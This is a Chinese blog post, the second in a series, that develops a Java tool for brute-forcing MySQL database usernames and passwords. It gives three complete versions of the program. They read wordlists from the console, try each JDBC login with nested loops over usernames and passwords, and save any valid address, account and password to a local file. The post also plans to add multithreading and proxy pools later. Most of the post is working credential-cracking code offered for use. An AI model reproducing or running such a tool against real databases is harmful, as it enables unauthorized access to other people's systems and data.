zoukankan      html  css  js  c++  java
  • 记-一个数据库密码爆破工具的成长历程(2)

    数据库密码爆破工具的优化

    1. 使用scanner从控制台读取字典位置和数据库位置
    2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
    3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
    4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
    5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
    6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

    目前代码:

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入爆破字典地址(绝对路径)");
            String zdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path = zdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        System.out.println("密码正确");
                        System.out.println("正确密码是"+s);
                    } catch (ClassNotFoundException | SQLException e) {
                        System.out.println("密码错误");
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    第一步的优化已经完成,现在就要进行第二步。

    第二步和第三步我想做的都是把获得的结果输入到文件中,要做到这一步,需要使用到一个文件写入。

    也就是下面这行代码:

    FileWriter fw = new FileWriter("C://a/gpasswd.txt");                  BufferedWriter bw = new BufferedWriter(fw);                    
    bw.write("数据库地址是:"+url+"
    ");
    bw.write("数据库账号是:"+username+"
    ");                    
    bw.write("数据库密码是:"+s+"
    ");                    
    bw.close();
    fw.close();
    

    第一行是指定了文件写入的位置,第二行则创建了一个文件写入的对象。然后就是很简单,加上注释之后,把辊间的信息写入到文件之中,然后释放资源。

    所以,在添加了这些之后,代码就会变成下面这样。

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入爆破字典地址(绝对路径)");
            String zdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path = zdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                        BufferedWriter bw = new BufferedWriter(fw);
                        bw.write("数据库地址是:"+url+"
    ");
                        bw.write("数据库账号是:"+username+"
    ");
                        bw.write("数据库密码是:"+s+"
    ");
                        bw.close();
                        fw.close();
                    } catch (ClassNotFoundException | SQLException e) {
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    然后就是第四步了,也就是到目前位置,我们爆破仅限于密码,并没有对用户名同时进行一个爆破,所以,这里就要尝试进行用户名的爆破。

    这一步其实要做到很简单,因为我们之前已经完成了定义字典的位置,然后利用bufferedReader将里面的内容读取出来,现在只是多增加一个字典的读取,然后将外界的循环变成两个就可以了。

    通俗一点,就是两个循环的嵌套。

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc = new Scanner(System.in);
            System.out.println("请输入用户名爆破字典地址(绝对路径)");
            String unadd = sc.next();
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入密码爆破字典地址(绝对路径)");
            String pdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path1 = unadd;
            File file1 = new File(path1);
            StringBuilder result1 = new StringBuilder();
            String path = pdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br1 = new BufferedReader(new InputStreamReader(new FileInputStream(file1),"UTF-8"));
                String s1 = null;
                while((s1 = br1.readLine())!=null) {
                    result1.append(System.lineSeparator() + s1);
    
                    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                    String s = null;
                    while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                        result.append(System.lineSeparator() + s);
                        try {
                            Class.forName("com.mysql.jdbc.Driver");
                            String url = sqladd;
                            String username = s1;
                            String password = s;
                            Connection conn = DriverManager.getConnection(url, username, password);
                            FileWriter fw = new FileWriter("C://a/gpasswd.txt");
                            BufferedWriter bw = new BufferedWriter(fw);
                            bw.write("数据库地址是:" + url + "
    ");
                            bw.write("数据库账号是:" + username + "
    ");
                            bw.write("数据库密码是:" + s + "
    ");
                            bw.close();
                            fw.close();
                        } catch (ClassNotFoundException | SQLException e) {
                        }
                    }
                    br.close();
                }
                br1.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    到了这一步,一个简单的Mysql数据库账号密码的爆破工具已经结束了。目前来说,这个工具的实用性不高,只能针对于mysql数据库,后面如果有一些别的思路,会针对这个工具再进行修改。

    针对于多线程等问题,过段时间会再进行修复。

  • 相关阅读:
    java.util.regex.PatternSyntaxException: Dangling meta character '*' near index 0 *&* 解决方法
    一个罕见的MSSQL注入漏洞案例
    工具推荐:ATSCAN,功能强大的Perl脚本扫描器
    突破XSS字符限制执行任意JS代码
    用Nginx分流绕开Github反爬机制
    浅析XSS与XSSI异同
    IE安全系列之——RES Protocol
    跨站请求伪造(CSRF)攻击原理解析:比你所想的更危险
    SQL注入攻击和防御
    SQL 注入,永不过时的黑客技术
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/14125959.html
Copyright © 2011-2022 走看看